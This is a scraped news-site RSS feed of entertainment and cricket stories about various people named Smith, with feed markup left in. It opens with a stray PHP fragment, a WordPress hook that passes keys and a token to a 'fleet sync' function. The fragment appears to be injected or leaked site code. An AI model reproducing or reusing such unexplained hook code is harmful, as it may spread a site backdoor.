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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Smith’s – Brief News https://briefnews.eu Latest World News. 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Kevin Smith is poised to introduce a new generation to the Masters of the Universe.

The writer/director/producer on Sunday announced that he is bringing the He-Man franchise to Netflix by way of the limited anime series Masters of the Universe: Revelation. The new show “will focus on the unresolved storylines of the classic ’80s era, picking up many of the characters’ journeys where they left off decades ago,” per the official logline. Smith will serve as showrunner and executive producer.

“I’m Eternia-ly grateful to Mattel TV and Netflix for entrusting me with not only the secrets of Grayskull, but also their entire Universe,” Smith said in a statement. “In Revelation, we pick up right where the classic era left off to tell an epic tale of what may be the final battle between He-Man and Skeletor! Brought to life with the most metal character designs Powerhouse Animation can contain in the frame, this is the Masters of the Universe story you always wanted to see as a kid!”

A timetable for release has not yet been revealed. In the meantime, Netflix has put out the following poster (click to enlarge):

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* HBO’s Mrs. Fletcher, a seven-episode limited series starring Kathryn Hahn (Transparent), is set to premiere Sunday, Oct. 27 at 10:30/9:30c (watch trailer). Based on Leftovers auteur Tom Perrotta’s bestselling novel of the same name, Mrs. Fletcher is described as a dual coming-of-age comedy that explores the impact of internet porn and social media on the lives of divorcée Eve Fletcher (Hahn) and college-bound son Brendan (SEAL Team‘s Jackson White).

* Step Up: High Water and Wayne have both been cancelled at YouTube, Deadline reports. What’s more, the video platform has passed on drama pilot Dark Cargo (starring The Mindy Project‘s Chris Messina) and comedy It’s a Man’s World.

* The Kids Are Alright creator Tim Doyle has been tapped as showrunner on Season 2 of the Goldbergs spinoff Schooled, Variety reports. He will succeed Marc Firek, who developed the ’90s-set offshoot with Goldbergs creator Adam F. Goldberg.

* Mr. Mercedes Season 3 premieres Tuesday, Sept. 10 at 10/9c, on Audience Network. Watch a trailer below:

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]]> https://briefnews.eu/tvline-items-kevin-smiths-he-man-series-mrs-fletcher-premiere-and-more/feed/ 0 Will Smith’s Grand Canyon bungee jump airs on YouTube September 25th https://briefnews.eu/will-smiths-grand-canyon-bungee-jump-airs-on-youtube-september-25th/ https://briefnews.eu/will-smiths-grand-canyon-bungee-jump-airs-on-youtube-september-25th/#respond Fri, 04 May 2018 00:22:14 +0000 http://briefnews.eu/will-smiths-grand-canyon-bungee-jump-airs-on-youtube-september-25th/

If you haven’t noticed, Will Smith has found a new surge of creative energy with his YouTube channel. And in March, he agreed to bungee jump over the Grand Canyon from a helicopter on YouTube, after being challenged from the folks at Yes Theory. Now, we know that stunt is going to take place on his 50th birthday, September 25th. YouTube made the announcement at its BrandCast event in New York City tonight, where it’s trying to woo over advertisers and partners. Smith, naturally, will be donating proceeds from jump to charity.

]]> https://briefnews.eu/will-smiths-grand-canyon-bungee-jump-airs-on-youtube-september-25th/feed/ 0 Steve Smith’s dad’s poignant gesture https://briefnews.eu/steve-smiths-dads-poignant-gesture/ https://briefnews.eu/steve-smiths-dads-poignant-gesture/#respond Sun, 01 Apr 2018 19:42:55 +0000 http://briefnews.eu/steve-smiths-dads-poignant-gesture/ IN a poignant gesture from the dad who’s been there every step of the way for his disgraced son, Steve Smith’s father Peter has been pictured stowing away his son’s cricket.

“He’ll be fine, he’ll survive, he’ll survive,” Peter told 7 News cameras as he dumped the former captain’s gear, which the player won’t need for at least a year, in the garage.

The loving dad took the bulky bag out of the car and placed it in storage, saving his son from having to do it himself as he battles through the hardest time of his life following a 12-month suspension for ball tampering.

It was a touching gesture of kindness, from a man who has stood behind his humiliated son at the cricketer’s lowest ebb.

Peter was also there at Smith’s gut-wrenching press conference, when the world’s best batsman sobbed with regret at his role in the cheating saga. The loving father stood behind his son and put a reassuring hand on his shoulder as he broke down.

“Any time you think about making a questionable decision, think about who you’re affecting,” Smith said. “You’re affecting your parents and to see the way my old man … and my mum … it hurts.”

In fact, he has always been there for the 28-year-old, passing on a love of cricket and coaching him as a young boy.

“I did a lot of work with him when he was young, to a point when he was about 16,” Peter told cricket.com.au in 2014. “At that point it’s time to say, ‘OK, you need to go and get other people are helping you and are working with you’.

“I was always in the background.”

He recalled how he first had an inkling of how brilliant his son would be when he helped collapsed after an incredible performance at an under-10s representative match for Sutherland.

“When he came off he actually collapsed through exhaustion because as you can imagine, a little kid, through 40C heat being out there all day in the sun and concentrating like that,” Smith senior told the Daily Telegraph.

“He concentrated all the way through until the end and as soon as he got there, he basically sat down and started crying.

“It was just the emotion and the amount that was taken out of him to be able to do that was quite fascinating. It was my earliest recollection of something that was special.”

In Smith’s recently published autobiography, The Journey, he writes of how his father would leave work at 4.30pm most day to travel and throw balls in the back yard or cricket club, finding ways to test his son’s reflexes by spinning the ball in different directions.

It was this dedication that helped turn Smith into one of the best — and most single-minded — Australian batsmen of all time.

Smith even called on his father to give him some throw downs when he was training for the one-day series in South Africa in 2016. “I actually got my old man to feed me some balls for the first time in about eight years. It was a good thrill for him,” said the Aussie Test captain. “He didn’t say a word, actually. It was a bit different to when I was growing up.”

Now, the cheating captain and teammate David Warner have been suspended for one year from domestic and international cricket and will be not considered for leadership role for the next two years. Cameron Bancroft, who carried out the plan, has been suspended for nine months.

Smith is likely to need his father more than ever. Only this time, it won’t be to nurture his dedication to the game, but show him there is more to life than cricket.

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]]> https://briefnews.eu/steve-smiths-dads-poignant-gesture/feed/ 0 Smith’s walk of abject shame https://briefnews.eu/smiths-walk-of-abject-shame/ https://briefnews.eu/smiths-walk-of-abject-shame/#respond Wed, 28 Mar 2018 19:13:36 +0000 http://briefnews.eu/smiths-walk-of-abject-shame/ STEVE Smith’s fall from grace was encapsulated in the former Australia captain’s humiliating walk of shame through Johannesburg airport as he headed home.

Smith looked close to tears as he was bundled through the terminal by local police after an emotional few days, which culminated in him and David Warner receiving historic 12-month bans from playing at a national or international level.

There were boos and cries of “cheat!” as the 28-year-old battled his way past the cameras wearing a navy baseball cap and white T-shirt, after he was seen off by coach Darren Lehmann, fast bowler Mitchell Starc and batsman Usman Khawaja.

The talented Aussie bowed his head at Tambo International as reporters asked, “How are you going there, mate?” and another added, “What do you say to the people who are calling you cheats right here?”

Lehmann was cleared of any knowledge of the ball-tampering plan, which was masterminded by Warner and carried out by Cameron Bancroft, according to Cricket Australia’s inquiry.

Smith, who Lehmann called “a great young man who made a mistake”, was found to have known about the plot and failed to stop it, and to have been guilty of misleading officials after the event.

He will not be allowed to captain Australia for two years, and even then, any return will depend on various factors, including public sentiment and that of the team.

Warner, who identified himself as the ringleader in the sandpaper plot, will never be allowed to hold a leadership position in Australian cricket again. The pair will, however, be able to play club cricket.

As Smith left the team’s hotel, the world’s best Test batsman hugged replacement captain Tim Paine and told the Associated Press he didn’t feel like playing any cricket right now.

Cricket Australia’s James Sutherland yesterday said in a press conference that Smith was “distraught, very upset” after the scandal emerged.

Bancroft received a nine-month ban from international and provincial cricket.

Smith, Warner and Bancroft will now return home to face a disappointed and angry Australian public, missing out on the rest of the season and the lucrative 2018 Indian Premier League season. They will also have to complete 100 hours of voluntary service in community cricket to regain the trust of the fans.

Smith is expected to hold a press conference once he lands in Sydney.

Three replacement players have flown out from Australia to take their places for the final test in South Africa starting on Friday.

Shane Warne said Smith and Warner had been victims of a “tornado of hysteria” as commentator Jim Maxwell told ABC radio the “shattered” ex-captain was “really suffering” and in a worrying “psychological state”.

His father Peter Smith told the Daily Telegraph it was “a very difficult time” for the whole family, and that he and his wife supported their son, who had been calling every day.

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]]> https://briefnews.eu/smiths-walk-of-abject-shame/feed/ 0 Smith’s charge unceremoniously cut short https://briefnews.eu/smiths-charge-unceremoniously-cut-short/ https://briefnews.eu/smiths-charge-unceremoniously-cut-short/#respond Thu, 01 Mar 2018 18:40:05 +0000 http://briefnews.eu/smiths-charge-unceremoniously-cut-short/ AUSTRALIA find themselves in the middle of a Durban dogfight after Steve Smith’s charge towards another series-defining century was unceremoniously cut short.

It has become almost automatic for Smith to shape the direction of a big series by kicking off with a ton, but it wasn’t to be last night on day one of the first Test against South Africa as spinner Keshav Maharaj wove his magic.

Nearly 50 per cent of Australia’s runs during the triumphant Ashes campaign came with Smith at the crease, but it’s now up to Mitchell Marsh (32 not out) and Tim Paine (21no) to drive the visitors to a competitive total that can set a marker for the weeks ahead.

Bad light stopped play remarkably early at 4.23pm local time, meaning Australia will resume later today for day two on 5-225 and still a long way from the ascendancy on a ground where 306 has been an average score.

An absorbing day’s cricket was let down by an embarrassingly small crowd for a contest of this magnitude, in an alarming sign for the health of Test cricket outside of Australia and the UK.

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David Warner (51), Smith (56) and Shaun Marsh (40) all made promising starts but couldn’t convert into the big hundred Australia had prided themselves on during the 4-0 Ashes triumph.

It seemed as though Smith boxing his way to triple figures was a mere fait accompli so unstoppable did he look against England and last year in India when the odds were stacked against Australia.

But out of nowhere, having just grinded his way past 50, Smith bottom edged a Maharaj delivery only to watch on in shock as it rebounded off the gloves of the keeper and into the waiting hands of AB de Villiers at first slip.

Former Test star Simon Katich described it in commentary as potentially “a defining moment in the series” as Smith’s departure came at a key moment when Australia had just started to get themselves on top.

It was a patchy batting performance from Australia that can be improved upon, but there are major concerns about Cameron Bancroft (5) at the top of the order and the lack of options selectors have at their disposal if the West Australian can’t find form.

Bancroft’s meek dismissal early on day one followed his disintegrating performances during the Ashes.

But Australia are in a position where they’ve elected not to take a back-up opening batsman with them on tour.

Bancroft has a chance to turn it around in the second innings, but the wolves are at the door.

Former Test player Brendon Julian said on SEN commentary that selectors had erred in not bringing a specialist back-up for the struggling Bancroft.

“Australia’s selectors should have brought a spare opener over,” said Julian.

“I felt the pressure point for Australia’s batting line-up was at the top of the order with Bancroft.

“I thought he looked OK in the Ashes series but … there were still question marks.

“I just got the feeling though they maybe should have brought someone over, Renshaw or Joey Burns.”

Warner was impressive at the top as he showed that he doesn’t need the red ball lead-in so paramount to most players to immediately find his touch in a Test match.

Like Smith, Warner seemed charged for a 100 until he edged Vernon Philander on the last ball before lunch, to leave Australia 3-95.

This has been a Test series billed as a battle of the fast bowlers, but it was left-arm spinner Maharaj who proved the key man.

Maharaj was unlucky not to have snared Warner off the very first ball he bowled — but it spun so much his DRS review had the ball hitting the pads and then missing the stumps by some margin.

But later in the piece Maharaj made the critical double strike when he got rid of Smith and Shaun Marsh in the space of 10 overs.

Marsh received a lucky break earlier in the day when on 19 he should have been out lbw to Kagiso Rabada — however South Africa had earlier burnt both their reviews in the first hour of play.

But brother Mitchell Marsh picked up the slack to further prove his coming of age as a Test all-rounder.

Marsh got through some early nervous periods and now has the chance to cash in on a flattening deck on day two.

Paine nearly spooned a full toss to a fieldsman at one point, but too played a crucial role with the bat.

If Bancroft can’t fight his way out of trouble over the next couple of Test matches and he felt the axe, Australia’s only option as it currently stands would be to completely reshuffle their batting order.

Usman Khawaja would be the most obvious candidate to shift up to open — with Peter Handscomb to come in down the order — but Khawaja’s record away from home is also under the spotlight.

Khawaja got a pearler of a delivery from South African paceman Kagiso Rabada which was spectacularly caught one-handed by flying keeper Quinton de Kock.

But the quality of South Africa’s work can’t change the fact that Khawaja averages 26.55 in his 12 Test matches outside of Australia.

Outside of a bumper series in New Zealand back in 2016, Khawaja has struggled on overseas decks and Australia desperately need him to lift if they’re to bring down the might of South Africa.

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]]> https://briefnews.eu/smiths-charge-unceremoniously-cut-short/feed/ 0 Neighbours weekly spoilers: Fake Dee sparks CHAOS as Paige Smith’s exit gets underway https://briefnews.eu/neighbours-weekly-spoilers-fake-dee-sparks-chaos-as-paige-smiths-exit-gets-underway/ https://briefnews.eu/neighbours-weekly-spoilers-fake-dee-sparks-chaos-as-paige-smiths-exit-gets-underway/#respond Mon, 19 Feb 2018 13:22:19 +0000 http://briefnews.eu/neighbours-weekly-spoilers-fake-dee-sparks-chaos-as-paige-smiths-exit-gets-underway/

Izzy Hoyland (played by Natalie Bassingthwaighte), the woman responsible for one of Karl (Alan Fletcher) and Susan Kennedy’s (Jackie Woodburne) biggest break-ups, came back to Neighbours with a bang, and trouble wasn’t far behind her.

Revealing that she was now a millionaire after the death of her 89-year-old husband, Izzy quickly caused a rift between Karl and Susan with a generous donation to the new hospital wing.

A suspicious Susan could only watch on as Izzy used the donation to get closer to Karl, massaging his ego by naming the hospital wing after him.

As the Kennedys clashed, Izzy quietly mulled over her plan, pondering her next move in her secret agenda.

Elsewhere, Tyler Brennan’s (Travis Burns) world came crashing down around him when he was sentenced to 20 years behind bars for the murder of his father Hamish Roche (Sean Taylor).

The news sent shockwaves through Erinsborough and devastated Tyler’s girlfriend Piper Willis (Mavournee Hazel), who tried to save him from jail with a disastrous plan to go on the run.

There was further heartbreak for Piper when she went to visit Tyler in prison and was found herself on the receiving end of a viscous outburst.

Telling Piper that he blames her for having to plead guilty to murder, Tyler dealt Piper a devastating blow when he told her that he doesn’t love her and never wants to see her again.

As one couple fell apart, Paige Smith (Olympia Valance) and Jack Callahan (Andrew Morley) found themselves unable to deny their attraction and fell into bed together.

Horrified that she had cheated on her boyfriend Mark (Scott McGregor) when he needs her the most, Paige swore Jack to secrecy.

Struggling to conceal her guilt, Paige decided a trip away camping would help, but a shock awaited her when they turned up at the campsite.

Staying in the tent next to them was Jack and his unsuspecting girlfriend Steph Scully (Carla Bonner), putting the deceiving pair in a tight spot, having to keep their sordid romp a secret.

Also this week, the truth about who was spying on Toadie (Ryan Moloney) and Sonya Rebecchi (Eve Morey) at their vow renewal last year was revealed when Sindi Watts (Marisa Warrington) made a shocking comeback.

Revealing that Fake Dee, Andrea Somers (Madeleine West), is back in the country and more obsessed with Toadie than ever, Sindi left Toadie with a dilemma when she handed him Andrea’s telephone number.

Struggling to decide what to do with the new information, Toadie turned to Andrea’s daughter, Willow (Mieke Billing-Smith) for advice, who told him to destroy the number and forget all about the scheming doppelgänger.

However, unbeknownst to Toadie, Willow had a good reason to discourage him from contacting her mum, telling Sindi that a devastating truth awaits the Rebecchis.

Another mystery emerged when a British traveller, Rafael Humphreys (Ryan Thomas) arrived in town with an unhealthy interest in Paul Robinson (Stefan Dennis).

Concealing horrific scars on his back from a fire, the mysterious stranger broke into Paul’s penthouse apartment and watched the business tycoon as he slept.  

What does Rafael want with Paul and could Paul be in danger? 

Neighbours airs weekdays at 1.45pm and 5.30pm on ITV. 

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Classically Smiths – which debuts this summer with concerts in Manchester, London and Edinburgh before a full UK tour later this year –  will combine the sounds of the seminal Manchester band in a beautifully orchestrated live concert.

Sadly Morrissey and guitarist Johnny Marr will not part of the reunion.

However, world renowned musicians Mike Joyce, Andy Rourke and Craig Gannon will be joined by the Manchester Camerata Orchestra (Haçienda Classiçal) in a live collaboration which will deliver the music of The Smiths as you have never heard it before, with the legacy of the band brought into the here and now via an epic production.

In this unique meeting of cultures, audiences will hear their favourite iconic tracks performed by three members of The Smiths’ line up, enriched by the sounds of the UK’s most forward-thinking, experiential orchestra. 

Classically Smiths will combine beautifully arranged scores, guest vocalists (to be announced) and stunning visual imagery in a production that will engage and captivate.

The live dates are:

JUNE 28 – MANCHESTER, O2 APOLLO

JUNE 29 – LONDON, O2 ACADEMY, BRIXTON

JULY 2  – EDINBURGH, USHER HALL

The epic Classically Smiths set list will include such anthemic tracks as: There Is A Light That Never Goes Out, The Boy With The Thorn In His Side, A Rush And A Push And The Land Is Ours, Hand In Glove, How Soon Is Now?, Please, Please, Please Let Me Get What I Want, Oscillate Wildy, Shoplifters Of The World Unite, Girlfriend In A Coma and Last Night I Dream’t That Somebody Loved Me. 

Classically Smiths is presented by Bad Production Ltd. Joel Perry, executive producer and creative director, said: “Classically Smiths is bringing back into the now, from their extraordinary place in history, a reimagining of those irrepressible songs that we believe audiences, and indeed any discerning music lover, deserves to hear. Music that is as valid in 2018 as it was in 1987. Emotive, nostalgic, yet current and refreshed.”

He added: “We are not The Smiths, but we are certainly not to be missed by anyone whose lives were defined – and are still being defined – by the enduring sounds of one of the UK’s finest ever bands. This is the celebration of that.”

Joyce said: “There’ll be Smiths classics in the set, but I can’t wait to play the songs that have never been heard live before. With the addition of an orchestra, it will sound as totally unique as it will immense. 

“I’m really looking forward to fans being able to hear the songs in a way they’ve never been heard before, either on record or live. On the stage, or out front, this is going to be quite an experience for us all.”

Rourke said: “To have been there the first time round and seen it first hand, and to still be such a big fan of The Smiths today, I am both thrilled and excited to be involved in Classically Smiths. I’m really proud of the band’s work, and being able to present those songs again in this particular production format promises to be a real gift for audiences everywhere.”

Gannon said: “When using an orchestra with a band, there are so many different approaches you can take. But rather than us bending something out of shape or forcing a completely different musical angle on it, we’re doing this with the greatest respect and admiration for the songs we all love.

“I played most of these songs live (and on some of the original recordings) when I was in The Smiths in 1986 and I’m really looking forward to revisiting them again.”

Bob Riley, CEO Manchester Camerata, added “For us, it’s all about the sound, energy and live performance of an orchestra. We are very excited to be collaborating with members of epic Manchester band The Smiths who were undoubtedly one of the most influential and inspirational bands of the 20th century. We will be bringing the full live orchestral experience to these iconic tunes and are delighted to be able to bring that experience to Smiths fans old and new.” 

Tickets for Classically Smiths go on sale Friday January 26 from www.ticketmaster.co.uk

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]]> https://briefnews.eu/smiths-glowing-root-praise/feed/ 0 The Morning Watch: Kevin Smith’s ‘The Last Jedi’ Review, Jodie Foster Returns as Clarice Starling & More https://briefnews.eu/the-morning-watch-kevin-smiths-the-last-jedi-review-jodie-foster-returns-as-clarice-starling-more/ https://briefnews.eu/the-morning-watch-kevin-smiths-the-last-jedi-review-jodie-foster-returns-as-clarice-starling-more/#respond Wed, 20 Dec 2017 13:16:18 +0000 http://briefnews.eu/the-morning-watch-kevin-smiths-the-last-jedi-review-jodie-foster-returns-as-clarice-starling-more/ Stephen Colbert - Silence of the Lambs - Morning Watch

The Morning Watch is a recurring feature that highlights a handful of noteworthy videos from around the web. They could be video essays, fanmade productions, featurettes, short films, hilarious sketches, or just anything that has to do with our favorite movies and TV shows.

In this edition, Kevin Smith gives a lengthy video review of Star Wars: The Last Jedi. Plus, learn the cost of certain  residences and buildings from famous Christmas movies and see Jodie Foster reprise her role as Clarice Starling from Silence of the Lambs in a sketch from The Late Show with Stephen Colbert.

First up, if you’re a Kevin Smith fan, then you know that the Clerks filmmaker is a die hard Star Wars fan. Love him or hate him, Smifth often has some insightful criticism when it comes to geek pop culture, so his feature length review of Star Wars: The Last Jedi might be something worth listening to after you’ve seen the movie.

Next up, Nerdist runs through some famous Christmas movie locations and gives you an estimate of how much it would cost to live in them. They include the Home Alone house and Nakatomi Plaza from Die Hard, not to mention the apartment from Elf, which also happens to be the same apartment that Sigourney Weaver lived in from Ghostbusters.

Finally, Jodie Foster reprised her role as Clarice Starling from Silence of the Lambs while Stephen Colbert played Hannibal Lecter in a sketch about Robert Mueller’s investigation into Donald Trump’s ties to Russia. Foster fits nicely back into the role, and the sketch is also pretty funny. Can we get her to host Saturday Night Live again sometime soon?

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]]> https://briefnews.eu/the-morning-watch-kevin-smiths-the-last-jedi-review-jodie-foster-returns-as-clarice-starling-more/feed/ 0 Smith’s ‘disrespect’ blows up https://briefnews.eu/smiths-disrespect-blows-up/ https://briefnews.eu/smiths-disrespect-blows-up/#respond Tue, 05 Dec 2017 13:39:03 +0000 http://briefnews.eu/smiths-disrespect-blows-up/ ENGLAND’s faint hopes of pulling off an Ashes miracle are still alive after an enthralling fourth day at Adelaide Oval.

Australia finished with a lead of 353 after being bundled out for 138 on the stroke of tea. No side has ever chased more than 315 to win a Test in the South Australian capital but the tourists have made a good fist of the challenge so far.

Joe Root led the way with an unbeaten half century as England went to stumps at 3/176.

Here are all the talking points from the day’s play.

SMITH’S ‘DISRESPECT’ BLOWS UP IN HIS FACE

Former Australian and Tasmanian fast bowler Brett Geeves said the hosts are paying the price for Steve Smith’s “disrespect” in not enforcing the follow-on on day three.

Smith’s decision to bat again came under fire when the Aussies lost four quick wickets on Monday night as they failed to deal with the swinging pink ball under lights. Now England’s day four resurgence has heaped further pressure on Smith for allowing the visitors back into the match.

Geeves said Smith didn’t properly acknowledge the class of England’s bowlers and over-estimated his own batsmen’s ability when opting against enforcing the follow-on, which has come back to bite him.

“He’s made a blunder, there’s absolutely no question about that,” Geeves said on Fox Sports’ Bill and Boz. “The decision not to send England back in is turning out to be a really strange one and a poor one.

“Largely it’s come off the back of disrespect.

“He thought Australia wouldn’t get dismissed and they’d get the new ball tonight (Tuesday) on the back of a declaration and you’d roll them and it would be happy days.

“But they actually giftwrapped an opportunity for England to have the momentum in the game. They opened it, took it and now they’re actually running with it.”

Australia’s bowling coach David Saker said Smith’s follow-on call might have been a mistake but doesn’t believe he’s “ruing” the decision.

“Steven has obviously made the decision that he felt the guys had bowled enough,” Saker said after play. “In hindsight, we didn’t get an opportunity to bowl with the new ball under lights — that was our chance.

“Maybe we got it wrong. At the end of the Test match we will review that.

“But if come out of this winning the game, which I still think we will, you can say it was justified in some way.”

Smith didn’t consult his bowlers before deciding against the follow-on. “He is obviously frustrated at what has happened but I don’t think he is really ruing the decision,” Saker said.

‘HORSE S**T’: ASHES ‘SHAMBLES’ REARS UGLY HEAD

The Decision Review System (DRS) was once again a hot topic in Adelaide after it took centre stage on day four while Steve Smith also played a starring role.

Technology worked both for and against Australia but regardless of who it favoured, greats of the game were baffled by the guessing game taking place.

Controversy first arrived when Smith challenged a not-out call after Nathan Lyon hit Alastair Cook on the front pad with a full delivery. It looked to be sliding down the leg side but Hawkeye said the ball spun enough at the last moment to be on course to hit the stumps and Cook’s dig was over.

Former Victorian wicketkeeper Darren Berry said there was no way the system could have determined how far the ball was spinning because it was a half volley that gave nobody a good enough look at how much turn was there.

Then England benefited from some good fortune when Joe Root enjoyed a lucky escape. He left a ball from Lyon that didn’t spin as much as he expected and it cannoned into him in front of the stumps, convincing the umpire to raise his finger. Root was deep in his crease and there was no question the line was good — he looked plumb to the naked eye — but Hawkeye showed the ball was bouncing over the top.

Ex-Australian star Cameron White and former England all-rounder Dimitri Mascarenhas took to Twitter to say they didn’t agree with the replays.

Smith’s poor run with the DRS only worsened when he called for two unsuccessful reviews in three deliveries. He mistakenly believed Root inside edged Pat Cummins to wicketkeeper Tim Paine then was undone by Hawkeye’s belief in the extra bounce of the Adelaide Oval deck when Dawid Malan looked like a dead man walking.

Josh Hazlewood smashed Malan’s pad and live it looked like the ball stayed low and was going to crash into the pegs. But Smith and the Australians were denied when Hawkeye once again said there was too much bounce.

Berry fired up again while Tasmanian great Jamie Cox and Test legends Shane Warne and Glenn McGrath questioned the DRS.

“I’m not a huge fan of the DRS. I like the raw emotion you get from taking a wicket. If it is then reviewed, everybody comes down. I’m happy to trust the umpires,” McGrath told the BBC.

ROOT RISES TO THE OCCASION

As if being thumped by 10 wickets in Brisbane wasn’t a bad enough start to your first Ashes series in charge, winning the toss and bowling only to watch the opposition pile on 442 would send you to bed in cold sweats.

Whatever the result in Adelaide, Joe Root’s decision after flipping the coin will remain a talking point. But he can go a long way towards making that chatter irrelevant by guiding his side to victory.

Root was a class above on day four en route to making an unbeaten 67. His strokeplay was crisp and his intent was clear as he showed a bloody minded resolve to establish himself as a roadblock in Australia’s path to victory.

When Peter Handscomb and Tim Paine sledged him late in the final session, he gave as good as he got. When Pat Cummins struck him on the hand with a sharp bouncer he carried on without any fuss.

Victory is still a long way off for the Poms but if Root can spearhead the charge towards the impossible, it will undoubtedly be the finest moment of his career.

“Their captain Joe Root was superb. He showed his class … what an innings it has been for him,” one Channel Nine commentator said.

ANDERSON BREAKS HIS HOODOO

Jimmy Anderson returned to the field after a nasty fall to claim Mitchell Starc’s wicket and pick up his first five-wicket haul in Australia on his fourth Ashes tour.

When Starc skied a drive that was swallowed by Moeen Ali at mid off Anderson finally broke his hoodoo of never dismissing five batsmen in an innings Down Under.

He was outstanding on Monday night, swinging the ball at will to left and right-handers as the Aussies looked helpless against him under lights. But even with a slightly older ball in bright sunshine Anderson was just as threatening.

He beat Peter Handscomb and Nathan Lyon repeatedly on day four, adding seam movement to the movement he routinely generates in the air. Nathan Lyon backed away and spooned him to mid off and the quick was all over Handscomb to the point where he changed his technique mid-innings to try and counteract him.

It didn’t work as the Australian No. 5 guided a ball outside off stump to third slip and when Anderson picked up Starc his five-wicket haul was complete.

HANDSCOMB’S GLARING FAULT

Former England captain Michael Vaughan believes Peter Handscomb’s technique is becoming a liability after another unconvincing Ashes performance.

Handscomb has looked out of sorts on his return to Australian soil after successful stints on the subcontinent and a dream start to his Test career last summer.

The right-hander was out edging to the slips for 12 on day four of the pink ball Ashes Test. His previous nine innings in first-class cricket had yielded an average of 26.

Handscomb’s tendency to bat deep in the crease has left him vulnerable to being trapped LBW, and Vaughan questioned whether it was playing on his mind in Adelaide.

“The one obvious thing is he has just lost trust in his game,” Vaughan said on the Nine Network. “Not too sure what to do with his movements.

“One thing I would say to him, just try to keep the game simple. Make sure that you are still on the release of the ball. Bat out of your crease, don’t bat too far back.”

Speaking after the first Test in Brisbane, Handscomb said he had made adjustments to counter England’s plans.

“I have batted deep in my crease for three years. I am not really that concerned,” he said. “I batted deep last year and managed to hit balls on the stumps and made lots of runs.

“Obviously I have got my plans, I just need to hit the ball, it’s as simple as that.”

It’s unlikely selectors would be panicking about Handscomb’s performance given his average of 47.35 in Tests.

But former England batsman Kevin Pietersen suspected England pacemen Jimmy Anderson and Stuart Broad had identified Handscomb as a target for dismissal.

“How do you concentrate with the ball when you are battling with your technique?” he said.

“In Test match cricket you’ve got to fiercely compete against the bowler. You’ve got to make the bowler think that you are in control.

“Broad and Anderson were really targeting him … they knew he wasn’t happy with his technique.”

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AUSSIES’ UGLY PIECE OF HISTORY

Australia’s second innings of 138 brought with it some unwanted pieces of history for the home side.

Usman Khawaja and Mitchell Starc top scored for Australia with 20 each, which is the lowest ever top score in a completed innings of an Ashes Test in Adelaide.

The hosts’ score is also the lowest in a Test match innings where eight batsmen have reached double figures.

AUSSIES SLAMMED: ‘SHOULDN’T BE ON A CRICKET PITCH’

Former English wicketkeeper Matt Prior says the series’ sledging drama runs deeper than initially thought, revealing the Australians have rattled the tourists with personal jabs.

“There’s a lot that’s gone on that I think the England players are quite upset about, and rightfully from what I’ve heard,” the 35-year-old told BBC radio.

“There’s been a lot of chat on the pitch that hasn’t got anything to do with cricket and quite frankly shouldn’t be on a cricket pitch.

“(It’s) stuff that hasn’t come out for various reasons and whatever it may be.”

Prior said Australia’s senior players have begun to work out what really gets under the Englishmen’s skin.

“Simple sledging doesn’t really work on these top international players,” he said.

“Alastair Cook is not going to be affected by sledging, Steve Smith, Warner, these guys have seen it. So you have to go deeper if you want to try and get a reaction. You have to say something that’s going to be pretty, pretty fiery and potentially personal.”

Former Aussie batsman Michael Hussey hit back at Prior’s comments on Fox Sports before play on day four.

“I was a bit shocked,” Hussey said. “I don’t know what he’s trying to achieve out of all these provocative comments.

“These comments, from afar mind you, you really need to be backing it up. It’s sort of teasing us really, you’ve got to back it up with some hard evidence.

“I’d be very surprised if he’s accurate here. The lines are very clear on the field (and) the umpires are very strict these days.”

Ex-Test paceman Jason Gillespie agreed.

“I’d like to hear some specifics from that,” he said. “He’s obviously heard something, so tell us what it is and then we can make a judgment on it.

“We talk about sledging or mental disintegration — what it’s meant to do is put you off your job, which is to watch the ball and react to it.

“If the opposition can get into the head, well that’s the aim of the game isn’t it?”

Former Aussie batsman Rob Quiney says the sledging dilemma could be solved with a simple tweak from Channel 9.

“I just think before the cricket starts, just put a ‘PG’ or a ‘MA’ rating on it so that it can say please parents be aware that there could be offensive language. Then you’ve covered that base,” he said on SEN Breakfast.

“Its massive. It gives journalists something to write about … people talk about it. Kids at local cricket clubs talk about it, you go to sporties and they ask you, ‘Did Michael Clarke really mean to say that when he said that to Anderson last Ashes when they were out here?’ They love it.”

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